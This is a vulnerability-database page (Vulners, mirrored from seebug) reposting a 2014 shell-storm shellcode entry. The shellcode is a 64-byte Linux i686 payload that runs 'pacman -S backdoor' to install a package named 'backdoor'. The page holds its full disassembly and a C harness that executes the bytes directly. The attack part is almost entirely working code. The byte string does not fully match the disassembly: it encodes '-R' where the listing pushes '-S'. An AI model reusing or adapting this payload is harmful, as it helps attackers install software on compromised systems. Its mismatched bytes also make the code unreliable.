Lucene search
K

Linux i686 - pacman -S <package> (default package: backdoor) - 64 bytes

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Linux i686 - pacman -S backdoor package - 64 byte

Code

                                                /*
 Title	: Linux i686 - pacman -S &#60;package&#62; (default package: backdoor) - 64 bytes
 Author	: Jonathan Salwan
 Mail	: submit [!] shell-storm.org
 Web	: http://www.shell-storm.org

 Pacman is a software package manager, developed as part of the Arch Linux distribution.
 With this shellcode you can install the backdoor packages.

	! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ ! 


 Disassembly of section .text:

 08048054 &#60;.text&#62;:
 8048054:	31 c0                	xor    %eax,%eax
 8048056:	31 db                	xor    %ebx,%ebx
 8048058:	31 c9                	xor    %ecx,%ecx
 804805a:	31 d2                	xor    %edx,%edx
 804805c:	31 f6                	xor    %esi,%esi
 804805e:	52                   	push   %edx
 804805f:	68 64 6f 6f 72       	push   $0x726f6f64	&#60;&#60; This is a package 
 8048064:	68 62 61 63 6b       	push   $0x6b636162	&#60;&#60; (backdoor). You can change it.
 8048069:	89 e6                	mov    %esp,%esi
 804806b:	52                   	push   %edx
 804806c:	66 68 2d 53          	pushw  $0x532d
 8048070:	89 e1                	mov    %esp,%ecx
 8048072:	52                   	push   %edx
 8048073:	68 63 6d 61 6e       	push   $0x6e616d63
 8048078:	68 6e 2f 70 61       	push   $0x61702f6e
 804807d:	68 72 2f 62 69       	push   $0x69622f72
 8048082:	68 2f 2f 75 73       	push   $0x73752f2f
 8048087:	89 e3                	mov    %esp,%ebx
 8048089:	52                   	push   %edx
 804808a:	56                   	push   %esi
 804808b:	51                   	push   %ecx
 804808c:	53                   	push   %ebx
 804808d:	89 e1                	mov    %esp,%ecx
 804808f:	b0 0b                	mov    $0xb,%al
 8048091:	99                   	cltd   
 8048092:	cd 80                	int    $0x80


*/


#include &#60;stdio.h&#62;

int main(void)
{
char shellcode[] = 	

			&#34;\x31\xc0\x31\xdb\x31\xc9\x31&#34;
			&#34;\xd2\x31\xf6\x52\x68\x64\x6f&#34;
			&#34;\x6f\x72\x68\x62\x61\x63\x6b&#34;		
			&#34;\x89\xe6\x52\x66\x68\x2d\x52&#34;
			&#34;\x89\xe1\x52\x68\x63\x6d\x61&#34;
			&#34;\x6e\x68\x6e\x2f\x70\x61\x68&#34;
			&#34;\x72\x2f\x62\x69\x68\x2f\x2f&#34;
			&#34;\x75\x73\x89\xe3\x52\x56\x51&#34;
			&#34;\x53\x89\xe1\xb0\x0b\x99\xcd&#34;
			&#34;\x80&#34;;

       	printf(&#34;Length: %d\n&#34;,strlen(shellcode));
	(*(void(*)()) shellcode)(); 

return 0;
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13